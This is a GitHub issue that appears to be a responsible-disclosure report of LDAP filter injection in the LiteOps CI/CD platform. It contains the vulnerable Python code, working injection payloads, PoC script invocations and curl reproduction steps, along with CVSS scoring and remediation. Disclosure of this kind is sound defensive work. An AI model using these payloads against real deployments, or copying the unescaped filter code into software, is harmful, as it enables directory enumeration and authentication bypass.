Skip to content

[SECURITY] LDAP Filter Injection Leading to Information Disclosure (CVE Request) #16

Description

@icysun

LiteOps LDAP Filter Injection — Information Disclosure

CVE Request: Pending
Date: 2026-04-25
Discoverer: icysun icysun@qq.com
Product: opsre/LiteOps — Lightweight CI/CD Platform
Type: LDAP Filter Injection / Information Disclosure
CVSS: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N


Summary

LiteOps is a lightweight CI/CD operations platform that integrates LDAP for user authentication and directory synchronization. Two endpoints accept user-supplied input and interpolate it directly into LDAP search filters without escaping special characters:

  1. POST /api/ldap/sync/ — The search_filter field from the JSON request body is embedded into an LDAP filter via Python f-string concatenation.
  2. POST /api/user/login/ — The username field is injected into an LDAP filter template using str.format().

Any authenticated user (the sync endpoint only requires a valid JWT token, with no role-based access control) can craft a malicious search filter to enumerate all LDAP directory entries, including usernames, email addresses, department info, and any other attributes exposed by the directory schema. The login endpoint additionally permits unauthenticated attackers to attempt authentication bypass.


Root Cause

Injection Point 1 — LDAP Sync (Critical)

File: backend/apps/views/ldap.py, lines 233–291

search_filter = data.get('search_filter', '')
final_filter = f"(&(objectClass=person)({search_filter}))"
connection.search(search_base, final_filter, attributes=[
    'uid', 'cn', 'mail', 'telephoneNumber', 'department',
    # ...
])

The search_filter value originates directly from the HTTP POST request body with zero sanitization. Special LDAP filter characters — (, ), *, \, and NUL — are passed through verbatim, allowing an attacker to break out of the intended sub-filter and inject arbitrary LDAP filter logic.

The @jwt_auth_required decorator on this view only validates that the JWT token is well-formed and has not expired. It does not check the user's role or permission level. Therefore any account — including a freshly self-registered low-privilege user — can reach this endpoint.

Injection Point 2 — Login (Unauthenticated)

File: backend/apps/views/ldap.py, lines 444–451

search_filter.format(username=username)

The username parameter from the login request is interpolated into an LDAP filter string using Python's str.format(). An attacker can supply a crafted username that closes the filter expression and inject additional filter clauses, potentially bypassing the authentication check entirely.


Attack Chain

Scenario 1: Authenticated User Enumeration

Step 1: Attacker registers a low-privilege account (or uses any existing JWT token).
Step 2: Attacker sends POST /api/ldap/sync/ with body:
        {"search_filter": "uid=*))(|(uid=*"}
Step 3: Backend constructs filter:
        (&(objectClass=person)(uid=*))(|(uid=*)))
        This is equivalent to:
        (objectClass=person) AND (uid=* OR uid=*)
        → returns ALL person entries.
Step 4: LDAP server returns every user record → full information disclosure.

Scenario 2: Login Authentication Bypass Attempt

Step 1: Attacker sends POST /api/user/login/ with body:
        {"username": "*))(|(uid=*", "password": "anything"}
Step 2: Backend constructs filter via .format():
        (uid=*))(|(uid=*))
        → filter always evaluates to true.
Step 3: If the bind succeeds with the first matching entry, auth is bypassed.

Impact

  • Confidentiality: Complete — all LDAP directory attributes are exposed.
  • Integrity: None — this is a read-only injection.
  • Availability: None — no denial-of-service vector.
  • Privileges Required: Low — any authenticated JWT holder (sync) or unauthenticated (login).

Proof of Concept

A standalone PoC script is provided at poc_liteops_ldap_injection.py.

Usage — Sync Mode (Enumerate All Users)

python3 poc_liteops_ldap_injection.py \
    --target https://liteops.example.com \
    --token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... \
    --mode sync

Usage — Login Mode (Auth Bypass Attempt)

python3 poc_liteops_ldap_injection.py \
    --target https://liteops.example.com \
    --token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... \
    --mode login

Manual Reproduction

# Step 1: Authenticate and obtain JWT
curl -s https://liteops.example.com/api/user/login/ \
    -H "Content-Type: application/json" \
    -d '{"username":"testuser","password":"testpass"}' \
    | jq -r '.data.token'

# Step 2: Inject LDAP sync filter
curl -s https://liteops.example.com/api/ldap/sync/ \
    -H "Authorization: Bearer <TOKEN>" \
    -H "Content-Type: application/json" \
    -d '{"search_filter":"uid=*))(|(uid=*"}' \
    | jq '.'

CVSS v3.1 Scoring

Metric Value Rationale
Attack Vector Network Exploitable over HTTP(S)
Attack Complexity Low No special conditions required
Privileges Required Low Any authenticated JWT (sync); None (login)
User Interaction None Fully automated
Scope Unchanged Impact limited to the LDAP directory
Confidentiality High Full directory enumeration
Integrity None No write operations
Availability None No DoS impact

Base Score: 6.5 (Medium)


Remediation

Immediate Fix

Use ldap3.utils.conv.escape_filter_chars() to sanitize all user-supplied input before interpolation into LDAP filter strings.

For the sync endpoint (ldap.py:233):

from ldap3.utils.conv import escape_filter_chars

search_filter = data.get('search_filter', '')
safe_filter = escape_filter_chars(search_filter)
final_filter = f"(&(objectClass=person)({safe_filter}))"

For the login endpoint (ldap.py:444):

from ldap3.utils.conv import escape_filter_chars

safe_username = escape_filter_chars(username)
search_filter.format(username=safe_username)

Defense-in-Depth Recommendations

  1. Role-Based Access Control: The /api/ldap/sync/ endpoint should require admin or operator role, not just a valid JWT.
  2. Input Validation: Reject search_filter values containing LDAP metacharacters ((, ), *, \, NUL) at the request parsing layer.
  3. Allowlist Attributes: Restrict searchable LDAP attributes to a predefined allowlist (e.g., uid, cn, mail).
  4. Rate Limiting: Apply rate limiting to the sync endpoint to prevent bulk enumeration.
  5. Audit Logging: Log all LDAP sync requests with user ID, timestamp, and the raw search_filter value for forensic analysis.

CVE Request

This vulnerability has not been assigned a CVE identifier. A CVE is requested to be allocated for:

  • Product: opsre/LiteOps
  • Affected Versions: All versions up to and including the latest commit as of 2026-04-25
  • Vulnerability Type: CWE-90 — Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Timeline

Date Event
2026-04-25 Vulnerability discovered by icysun
2026-04-25 Report drafted and PoC developed
YYYY-MM-DD Vendor notification
YYYY-MM-DD Vendor patch released
YYYY-MM-DD CVE assigned
YYYY-MM-DD Public disclosure

References


This report is submitted for responsible disclosure. Please contact icysun icysun@qq.com for coordination.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions